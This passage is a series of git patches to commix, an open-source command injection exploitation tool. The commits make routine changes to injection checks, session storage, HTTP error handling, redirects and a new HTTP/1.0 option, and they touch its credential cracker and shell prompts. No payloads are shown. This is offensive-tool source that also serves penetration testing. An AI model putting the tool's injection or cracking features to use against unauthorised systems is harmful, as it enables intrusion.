-70,7 +70,7 @@ def installer(): settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) while True: - message = "Would you like to remove the current installation? [Y/n] > " + message = "Do you want to remove the current installation? [Y/n] > " user_input = common.read_input(message, default="Y", check_batch=True) if user_input in settings.CHOICE_YES: remove() diff --git a/src/utils/settings.py b/src/utils/settings.py index 1a22a2537b..df172797d2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "73" +REVISION = "74" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From de846ec618ede8b071ebe6ec5a97f380fc6c7247 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 12 Aug 2025 07:21:28 +0300 Subject: [PATCH 0601/1023] Trivial update --- src/core/injections/controller/checks.py | 2 ++ src/core/injections/controller/controller.py | 11 ++++++----- src/utils/settings.py | 3 +-- 3 files changed, 9 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index acd969da6e..6c331b026d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -345,6 +345,8 @@ def check_http_method(url): elif isinstance(url, str) and settings.INJECT_TAG in url: http_request_method = settings.HTTPMETHOD.GET else: + if settings.COOKIE_INJECTION: + http_request_method = settings.COOKIE if settings.USER_DEFINED_POST_DATA: http_request_method = settings.HTTPMETHOD.POST else: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index ccd3189f5e..20543c4081 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -815,7 +815,7 @@ def perform_checks(url, http_request_method, filename): # Determine if we should perform cookie-based injection checks. cookie_check = (settings.TESTABLE_PARAMETERS_LIST or \ not settings.INJECTION_MARKER_LOCATION.COOKIE) and \ - settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL + settings.INJECTION_LEVEL >= settings.COOKIE_INJECTION_LEVEL if cookie_check: settings.COOKIE_INJECTION = True cookies_checks(url, http_request_method, filename, timesec) @@ -824,6 +824,7 @@ def perform_checks(url, http_request_method, filename): testable = settings.TESTABLE_PARAMETERS_LIST if isinstance(testable, str): testable = [testable] + testable_lower = [t.lower() for t in testable if isinstance(t, str)] header_flags = [ @@ -842,13 +843,13 @@ def perform_checks(url, http_request_method, filename): settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL or header_found if header_check: - settings.HTTP_HEADERS_INJECTION = True - headers_checks(url, http_request_method, filename, timesec) - else: - settings.CUSTOM_HEADER_INJECTION = True # Perform custom headers injection checks. + settings.CUSTOM_HEADER_INJECTION = True custom_headers_checks(url, http_request_method, filename, timesec) + settings.HTTP_HEADERS_INJECTION = True + headers_checks(url, http_request_method, filename, timesec) + # Return True if injection checks are active/enabled, False otherwise. return settings.INJECTION_CHECKER is not False diff --git a/src/utils/settings.py b/src/utils/settings.py index df172797d2..ed1cdb7658 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,6 @@ def print_data_to_stdout(data): sys.stdout.write(data) sys.stdout.flush() - """ argv input errors """ @@ -262,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "74" +REVISION = "75" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From beb30ac5edcdbaf1d1eb9bc0c7861d37e882b68a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 13 Aug 2025 06:52:11 +0300 Subject: [PATCH 0602/1023] Minor changelog update --- doc/CHANGELOG.md | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c56c39b825..63afec93c8 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,6 +1,6 @@ ## Version 4.1 (TBA) * Revised: Enhanced validation of user-specified parameters by detecting and reporting those that are not part of any recognized testable source. -* Revised: Enhanced injection logic with better handling of custom injection markers and improved tracking of tested parameters. +* Revised: Enhanced injection logic with better handling of custom injection marker (i.e. asterisk `*`) and improved tracking of tested parameters. * Revised: Improved detection of custom injection marker (i.e. asterisk `*`) across HTTP input vectors (e.g., URL params, POST data, cookies, headers). * Revised: Improved heuristics for processing custom HTTP headers to correctly handle injection markers (i.e. asterisk `*`). * Revised: Enhanced target encoding detection with improved charset extraction and prioritization from HTTP headers and HTML meta tags. diff --git a/src/utils/settings.py b/src/utils/settings.py index ed1cdb7658..298a0b9a81 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "75" +REVISION = "76" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 40e3dd4209505d963159042777bfa2140d32ff24 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 14 Aug 2025 07:34:28 +0300 Subject: [PATCH 0603/1023] Trivial update --- src/core/requests/requests.py | 14 +++++++++----- src/utils/settings.py | 2 +- 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b47ad2af45..4c2452ac70 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -778,12 +778,15 @@ def encoding_detection(response): settings.DEFAULT_PAGE_ENCODING = charset # 4. Logging - if charset not in settings.ENCODING_LIST: - warn_msg = "The web page charset '" + charset + "' seems unknown." + msg = "The web page declares the character encoding as '" + + if charset in settings.ENCODING_LIST: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = msg + charset + "'." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + else: + warn_msg = msg + charset + "', which is not recognized." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "Web page declares character encoding as '" + charset + "'" - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) except Exception as e: pass @@ -997,4 +1000,5 @@ def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_ exec_time, vuln_parameter = init_injection(payload, http_request_method, url) return exec_time, vuln_parameter, payload, prefix, suffix + # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 298a0b9a81..de472ceca8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "76" +REVISION = "77" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e1f08875f802fb50f1a9cbc0bd2f3cadb4533ecd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 15 Aug 2025 07:56:54 +0300 Subject: [PATCH 0604/1023] Minor fix --- src/core/requests/requests.py | 14 ++------------ src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 13 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 4c2452ac70..be5aaefa24 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -448,15 +448,11 @@ def init_injection(payload, http_request_method, url): end = 0 start = time.time() - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: + if settings.INJECT_TAG in url: payload = payload.replace("#","%23") vuln_parameter = parameters.vuln_GET_param(url) target = checks.process_injectable_value(payload, url) - # if settings.TESTABLE_VALUE in url.replace(settings.INJECT_TAG, ""): - # target = url.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) - # else: - # target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: + if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) @@ -467,20 +463,14 @@ def init_injection(payload, http_request_method, url): vuln_parameter = parameters.vuln_POST_param(parameter, url) if settings.IS_JSON: data = checks.process_injectable_value(_urllib.parse.unquote(payload.replace("\"", "\\\"")), menu.options.data) - # data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: data = checks.process_injectable_value(_urllib.parse.unquote(payload), menu.options.data) - #data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = checks.process_injectable_value(payload, menu.options.data) - # if settings.TESTABLE_VALUE in parameter.replace(settings.INJECT_TAG, ""): - # data = parameter.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) - # else: - # data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) headers.do_check(request) response = get_request_response(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index de472ceca8..c0dba47109 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "77" +REVISION = "78" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 60988928d141a1d71bfb6ae92e62c7c4781232c5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 18 Aug 2025 07:54:22 +0300 Subject: [PATCH 0605/1023] Trivial wording update --- src/core/injections/controller/checks.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6c331b026d..3ceb652216 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1212,11 +1212,11 @@ def identified_os(): pass """ -Checking all required third-party library dependencies. +Checking for all required third-party library dependencies. """ def third_party_dependencies(): if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking all required third-party library dependencies." + debug_msg = "Checking for all required third-party library dependencies." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: diff --git a/src/utils/settings.py b/src/utils/settings.py index c0dba47109..f80a766115 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "78" +REVISION = "79" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b2b63d65218aec79695643a175c8d1ad8fc79607 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 19 Aug 2025 06:52:14 +0300 Subject: [PATCH 0606/1023] Minor code refactoring on session handler --- src/utils/session_handler.py | 84 +++++++++++++++++++++++++----------- src/utils/settings.py | 2 +- 2 files changed, 59 insertions(+), 27 deletions(-) diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index ef83148bc3..86ab201f0f 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -90,7 +90,7 @@ def flush(url): conn = sqlite3.connect(settings.SESSION_FILE) tables = [row[0] for row in conn.execute("SELECT name FROM sqlite_master WHERE type='table'")] for table in tables: - conn.execute("DROP TABLE IF EXISTS %s" % table) + conn.execute("DROP TABLE IF EXISTS " + table) conn.commit() conn.close() except sqlite3.OperationalError as err_msg: @@ -102,64 +102,96 @@ def flush(url): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -Clean injection point records by removing all but the most recent entry for each injection technique. -Helps keep the session file lean and relevant. +Remove all but the earliest injection point record for each unique URL and injection technique. +This helps keep the session database clean by preserving only the first discovered injection point, +which might be useful for historical or consistency purposes. """ def clear(url): try: conn = sqlite3.connect(settings.SESSION_FILE) table = table_name(url) + "_ip" - # Delete all except latest record per technique - query = ("DELETE FROM \"" + table + "\" WHERE id NOT IN " - "(SELECT MAX(id) FROM \"" + table + "\" GROUP BY technique);") - conn.execute(query) + + # Query to get the smallest (earliest) id for each unique combination of url and technique + query = "SELECT MIN(id) FROM \"" + table + "\" GROUP BY url, technique;" + cursor = conn.execute(query) + + # Collect the ids to keep as strings + earliest_ids = [str(row[0]) for row in cursor.fetchall()] + + # If no records found, close connection and return + if not earliest_ids: + conn.close() + return + + # Create a comma-separated string of ids to keep + ids_to_keep = ",".join(earliest_ids) + + # Delete all records that do NOT have an id in the earliest_ids list + delete_query = "DELETE FROM \"" + table + "\" WHERE id NOT IN (" + ids_to_keep + ");" + conn.execute(delete_query) conn.commit() conn.close() + except sqlite3.OperationalError as err_msg: - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - except: - settings.LOAD_SESSION = None - return False + # Log SQLite operational errors critically + settings.print_data_to_stdout(settings.print_critical_msg("SQLite error: " + str(err_msg))) + except Exception as e: + # Log any other unexpected errors critically + settings.print_data_to_stdout(settings.print_critical_msg("Error in clear(): " + str(e))) """ -Store details about a successful injection point into the session database. -Includes metadata such as technique, payload, timing, vulnerability status, etc. +Store details of a successful injection point into the session database. +Includes various metadata such as technique, payload, timing, vulnerability status, HTTP method, headers, and cookies. """ def import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): try: conn = sqlite3.connect(settings.SESSION_FILE) table = table_name(url) + "_ip" + + # Create the table if it does not exist conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR, " "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, " "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, " "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR);") - conn.execute("INSERT INTO \"" + table + "\" (url, technique, injection_type, separator, " - "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, " - "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie) " - "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", - (str(url), str(technique), str(injection_type), - str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), - str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), - int(url_time_response), int(timesec), int(exec_time), - int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie))) - conn.commit() + # Check if an exact matching record already exists to avoid duplicates + query_check = ("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND technique = ? AND injection_type = ? AND separator = ? AND " + "shell = ? AND vuln_parameter = ? AND prefix = ? AND suffix = ? AND TAG = ? AND alter_shell = ? AND payload = ? AND " + "http_header = ? AND http_request_method = ? AND url_time_response = ? AND timesec = ? AND exec_time = ? AND " + "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? LIMIT 1;") + + params = (str(url), str(technique), str(injection_type), str(separator), str(shell), str(vuln_parameter), + str(prefix), str(suffix), str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), + str(http_request_method), int(url_time_response), int(timesec), int(exec_time), + int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie)) + + cursor = conn.execute(query_check, params) + + # Insert new record only if no identical record exists + if cursor.fetchone() is None: + conn.execute("INSERT INTO \"" + table + "\" (url, technique, injection_type, separator, " + "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, " + "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) + conn.commit() + conn.close() - if settings.INJECTION_CHECKER == False: + + # Mark injection checker as True to indicate session contains injection data + if not settings.INJECTION_CHECKER: settings.INJECTION_CHECKER = True except sqlite3.OperationalError as err_msg: err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "." err_msg += " You are advised to rerun with switch '--flush-session'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - checks.quit(filename, url, _ = False) + checks.quit(filename, url, _=False) except sqlite3.DatabaseError: checks.error_loading_session_file() - """ Retrieve a summary string of all unique injection techniques that have been successfully applied and stored in the session for the given URL. diff --git a/src/utils/settings.py b/src/utils/settings.py index f80a766115..aa984503a2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "79" +REVISION = "80" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e774bb63652a6cd413c778ff9ffe5cfa4e0e6922 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 20 Aug 2025 06:35:43 +0300 Subject: [PATCH 0607/1023] Enhanced session handler by applying safe URL-encoding of base64 padding in string parameters before database insertion. --- src/utils/session_handler.py | 11 ++++++++++- src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 86ab201f0f..2fcd10f23e 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -24,6 +24,7 @@ from src.utils import common from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input +from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init """ @@ -139,12 +140,12 @@ def clear(url): # Log any other unexpected errors critically settings.print_data_to_stdout(settings.print_critical_msg("Error in clear(): " + str(e))) - """ Store details of a successful injection point into the session database. Includes various metadata such as technique, payload, timing, vulnerability status, HTTP method, headers, and cookies. """ def import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): + try: conn = sqlite3.connect(settings.SESSION_FILE) table = table_name(url) + "_ip" @@ -167,6 +168,14 @@ def import_injection_points(url, technique, injection_type, filename, separator, str(http_request_method), int(url_time_response), int(timesec), int(exec_time), int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie)) + # Apply urlencode_base64_padding to all string elements in params + # This ensures that any base64 padding is safely URL-encoded before database insertion. + params = tuple( + x.replace(settings.BASE64_PADDING, _urllib.parse.quote(settings.BASE64_PADDING)) + if isinstance(x, str) and settings.BASE64_PADDING in x else x + for x in params + ) + cursor = conn.execute(query_check, params) # Insert new record only if no identical record exists diff --git a/src/utils/settings.py b/src/utils/settings.py index aa984503a2..2b8a3d08b6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "80" +REVISION = "81" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 49558a6d8db9049ee7b9321f3408d71026a729ad Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 21 Aug 2025 08:02:19 +0300 Subject: [PATCH 0608/1023] Trivial update --- src/core/main.py | 1 - src/core/requests/authentication.py | 4 ++-- src/utils/settings.py | 4 ++-- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 2553153d07..de56e7f8fb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -284,7 +284,6 @@ def init_injection(url): settings.CUSTOM_INJECTION_MARKER = None settings.CUSTOM_FILENAME = "" - """ Using 'stdin' for parsing targets. """ diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 1dfc98e1b9..d8a824988b 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -203,8 +203,8 @@ def http_auth_cracker(url, realm, http_request_method): valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Authentication succeeded using: '" + valid_pair + "'." - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + info_msg = "Authentication succeeded using credentials: '" + valid_pair + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return valid_pair err_msg = "Use the '--auth-cred' option to provide a valid pair of " diff --git a/src/utils/settings.py b/src/utils/settings.py index 2b8a3d08b6..86cabe3c4b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -86,7 +86,7 @@ class HTTPMETHOD(object): ABORTION_SIGN = ERROR_SIGN DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT -CHECK_SIGN = DEBUG_SIGN + "Checking for a valid pair of HTTP authentication credentials: " +CHECK_SIGN = DEBUG_SIGN + "Checking for a valid pair of authentication credentials: " OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """ REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "81" +REVISION = "82" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2ee92c0c46a08b46e8e4eab78c4a104146c823ca Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Aug 2025 07:06:11 +0300 Subject: [PATCH 0609/1023] Fixes https://github.com/commixproject/commix/issues/1048 --- src/core/requests/headers.py | 45 ++++++++++++++++++++---------------- src/utils/settings.py | 2 +- 2 files changed, 26 insertions(+), 21 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 481e24b463..baf9de1a9f 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -247,7 +247,7 @@ def https_open(self, req): checks.blocked_ip(page) # This is useful when handling exotic HTTP errors (i.e requests for authentication). - except (_urllib.error.HTTPError, _urllib.error.URLError) as err: + except _urllib.error.HTTPError as err: if not menu.options.drop_set_cookie: checks.not_declared_cookies(err) try: @@ -256,24 +256,10 @@ def https_open(self, req): page = checks.page_encoding(err, action="encode") except Exception: page = '' - if isinstance(err, _urllib.error.HTTPError): - response_headers = err.info() - code = err.code - else: - code = "" - reason = str(getattr(err, 'reason', 'Unknown error')) - # process reason as before... - reason_parts = reason.split(settings.SINGLE_WHITESPACE) - if len(reason_parts) > 2: - response_headers = settings.SINGLE_WHITESPACE.join(reason_parts[2:]) + "." - else: - response_headers = reason - if not response_headers.endswith("."): - response_headers += "." - + response_headers = err.info() + code = err.code print_http_response(response_headers, code, page) - if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ not settings.IS_XML and \ @@ -286,12 +272,14 @@ def https_open(self, req): if str(err.code).startswith(('3', '4', '5')): settings.HTTP_ERROR_CODES_SUM.append(err.code) if settings.VERBOSITY_LEVEL >= 2: - if len(str(err).split(": ")[1]) == 0: + parts = str(err).split(": ") + if len(parts) > 1 and len(parts[1]) == 0: error_msg = "Non-standard HTTP status code" pass else: - error_msg = str(err).replace(": "," (") - if len(str(err).split(": ")[1]) == 0: + error_msg = str(err).replace(": ", " (") + parts = str(err).split(": ") + if len(parts) > 1 and len(parts[1]) == 0: err_msg = error_msg + "Non-standard HTTP status code" else: err_msg = error_msg @@ -299,6 +287,23 @@ def https_open(self, req): settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) raise SystemExit() + except _urllib.error.URLError as err: + if not menu.options.drop_set_cookie: + checks.not_declared_cookies(err) + reason = str(getattr(err, 'reason', 'Unknown error')) + reason_parts = reason.split(settings.SINGLE_WHITESPACE) + if len(reason_parts) > 2: + response_headers = settings.SINGLE_WHITESPACE.join(reason_parts[2:]) + "." + else: + response_headers = reason + if not response_headers.endswith("."): + response_headers += "." + code = "" + page = "" + print_http_response(response_headers, code, page) + settings.print_data_to_stdout(settings.print_critical_msg("URL Error: " + reason)) + raise SystemExit() + """ Check for added headers. """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 86cabe3c4b..91b60124f0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "82" +REVISION = "83" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5f42db35efa917ba68f07fa910c7f1a5b7136cb8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 25 Aug 2025 08:06:44 +0300 Subject: [PATCH 0610/1023] Minor fix --- src/core/main.py | 2 +- src/core/requests/redirection.py | 5 +++-- src/utils/settings.py | 2 +- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index de56e7f8fb..324702272d 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -244,7 +244,7 @@ def url_response(url, http_request_method): # Check for URL redirection if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: if response.geturl() != url: - redirect_url = redirection.do_check(request, url, response.geturl()) + redirect_url = redirection.do_check(request, url, response.geturl(), http_request_method) if redirect_url is not None: url = redirect_url if not menu.options.skip_waf: diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index f15b35351c..4b93e5f732 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -33,7 +33,7 @@ from src.thirdparty.colorama import Fore, Back, Style, init -def do_check(request, url, redirect_url): +def do_check(request, url, redirect_url, http_request_method): """ This functinality is based on Filippo's Valsorda script [1]. --- @@ -65,7 +65,8 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): _urllib.request.install_opener(opener) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL) as err_msg: - requests.crawler_request(redirect_url) + if settings.CRAWLING: + requests.crawler_request(redirect_url, http_request_method) try: if (not settings.REDIRECT_CODE) or (settings.CRAWLING and redirect_url in settings.HREF_SKIPPED): diff --git a/src/utils/settings.py b/src/utils/settings.py index 91b60124f0..5871bd786e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "83" +REVISION = "84" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b9f8173b6650165576a37c64c5750105cbb970c8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 26 Aug 2025 07:11:42 +0300 Subject: [PATCH 0611/1023] Added new switch `--http1.0` to force all outgoing requests to use HTTP/1.0. --- doc/CHANGELOG.md | 1 + src/core/requests/headers.py | 4 ++++ src/utils/menu.py | 6 ++++++ src/utils/settings.py | 2 +- 4 files changed, 12 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 63afec93c8..18d6841783 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Added: New switch `--http1.0` to force all outgoing requests to use HTTP/1.0. * Revised: Enhanced validation of user-specified parameters by detecting and reporting those that are not part of any recognized testable source. * Revised: Enhanced injection logic with better handling of custom injection marker (i.e. asterisk `*`) and improved tracking of tested parameters. * Revised: Improved detection of custom injection marker (i.e. asterisk `*`) across HTTP input vectors (e.g., URL params, POST data, cookies, headers). diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index baf9de1a9f..f7556ec414 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -124,6 +124,10 @@ def check_http_traffic(request): else: http_client = _http_client.HTTPConnection + if menu.options.http10: + _http_client.HTTPConnection._http_vsn = 10 + _http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0' + class connection(http_client): def send(self, req): headers = req.decode() diff --git a/src/utils/menu.py b/src/utils/menu.py index 4ed229f767..7a6de7f9dd 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -295,6 +295,12 @@ def banner(): default=False, help="Abort on (problematic) HTTP error code(s) (e.g. 401).") +request.add_option("--http1.0", + action="store_true", + dest="http10", + default=False, + help="Use (old) HTTP version 1.0") + request.add_option("--ignore-code", action="store", dest="ignore_code", diff --git a/src/utils/settings.py b/src/utils/settings.py index 5871bd786e..970d74696f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): 